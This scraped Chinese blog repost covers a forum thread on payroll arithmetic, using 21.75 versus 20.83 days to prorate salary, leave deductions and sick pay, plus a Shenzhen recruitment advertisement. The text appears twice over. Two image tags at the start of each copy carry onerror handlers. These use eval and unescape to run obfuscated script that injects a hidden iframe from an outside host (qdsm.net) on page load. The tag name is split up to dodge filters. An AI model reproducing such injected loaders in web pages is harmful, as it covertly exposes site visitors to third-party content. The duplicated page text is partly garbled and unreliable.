有关工资的计算
[转贴 2010-02-22 17:43:41]
有关工资的计算
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
月工作日：250天÷12月＝20.83天/月
月计薪天数＝（365天-104天）÷12月＝21.75天
请教大家，这两个数字应该怎样运用才算是合理的呢？
比如病事假运用哪个数字？
月中入离职的人员，当月的工资应该如何计算？
多谢大家指导！！
------------------
我是这样算的：
月中入离职：月工资÷21.75 X 实际出勤天数
事假扣薪：月工资÷21.75 X 请假天数
病假根据入职年限可以享受60%以上的病假工资。
错了请高人指出。
------------------
楼上的说的很对，就是这么算的
------------------
其实２０.８３我在计算工资的时候基本上没有使用，它主要是体现是否超出工作时间，但不是很好实际操作。它是把全年工作时间平均了下。还是看具体月份工作时间即公司年历才行。２１.７５是我计算工资的时候使用的，病事假都是如此。
比如一个人做了当月正常出勤１０天，底薪为１０００，则本月工资为１０００/２１.７５*１０＝４５９.７７，当然要是有加班另按照国家规定计算，社保同样！
如另一人６月病假５天，底薪如上例，
月工资为１０００/２１.７５*５*０.７+１０００/２１.７５*１５＝８５０.５８
------------------
温馨提示：
2008年6月，深圳市奔雷广告有限公司联合深圳报业集团，共同推出深圳{zj1}xx，最受企业和求职者青莱的专业人才招聘网—“特区新工作（www.szjob.cc ）”。
7月1日，“特区新工作（www.szjob.cc ）”将在各媒体报纸、各大人才市场、大型招聘会现场进行大力宣传，宣传期间，针对深圳特区报合作客户免费注册15天，各人力资源部负责人可直接登陆“特区新工作（www.szjob.cc ）”免费注册发布职位和搜索简历。
我们做:
▲ 《深圳特区报》《晶报》《晚报》招聘版及《晚报》招生版-------特别授权代理。
▲ 《深圳特区报》《晶报》《晚报》《商报》工商广告代理。
▲ 深圳市规划与国土资源局房地产初始登记公告、拍卖公告、股票上市辅导公告、声明、招标、求购、公告、通知等普通版面广告代理。
▲ 《深圳特区报》《深圳商报》《晶报》《晚报》订阅代理。
▲ 《广州日报》精英特刊------特别授权代理。
▲ 全国各大媒体报纸广告代理。
▲ 深圳体育馆户外广告代理。
▲ 深圳专业招聘人才网
联系人：雷小英★
电话: 0755- 83146626 13480788760★
邮箱：leixiaoying85@126.com
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
月工作日：250天÷12月＝20.83天/月
月计薪天数＝（365天-104天）÷12月＝21.75天
请教大家，这两个数字应该怎样运用才算是合理的呢？
比如病事假运用哪个数字？
月中入离职的人员，当月的工资应该如何计算？
多谢大家指导！！
------------------
我是这样算的：
月中入离职：月工资÷21.75 X 实际出勤天数
事假扣薪：月工资÷21.75 X 请假天数
病假根据入职年限可以享受60%以上的病假工资。
错了请高人指出。
------------------
楼上的说的很对，就是这么算的
------------------
其实２０.８３我在计算工资的时候基本上没有使用，它主要是体现是否超出工作时间，但不是很好实际操作。它是把全年工作时间平均了下。还是看具体月份工作时间即公司年历才行。２１.７５是我计算工资的时候使用的，病事假都是如此。
比如一个人做了当月正常出勤１０天，底薪为１０００，则本月工资为１０００/２１.７５*１０＝４５９.７７，当然要是有加班另按照国家规定计算，社保同样！
如另一人６月病假５天，底薪如上例，
月工资为１０００/２１.７５*５*０.７+１０００/２１.７５*１５＝８５０.５８
------------------
温馨提示：
2008年6月，深圳市奔雷广告有限公司联合深圳报业集团，共同推出深圳{zj1}xx，最受企业和求职者青莱的专业人才招聘网—“特区新工作（www.szjob.cc ）”。
7月1日，“特区新工作（www.szjob.cc ）”将在各媒体报纸、各大人才市场、大型招聘会现场进行大力宣传，宣传期间，针对深圳特区报合作客户免费注册15天，各人力资源部负责人可直接登陆“特区新工作（www.szjob.cc ）”免费注册发布职位和搜索简历。
我们做:
▲ 《深圳特区报》《晶报》《晚报》招聘版及《晚报》招生版-------特别授权代理。
▲ 《深圳特区报》《晶报》《晚报》《商报》工商广告代理。
▲ 深圳市规划与国土资源局房地产初始登记公告、拍卖公告、股票上市辅导公告、声明、招标、求购、公告、通知等普通版面广告代理。
▲ 《深圳特区报》《深圳商报》《晶报》《晚报》订阅代理。
▲ 《广州日报》精英特刊------特别授权代理。
▲ 全国各大媒体报纸广告代理。
▲ 深圳体育馆户外广告代理。
▲ 深圳专业招聘人才网
联系人：雷小英★
电话: 0755- 83146626 13480788760★
邮箱：leixiaoying85@126.com
郑重声明：资讯 【有关工资的计算- 银行业务- inevitably - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
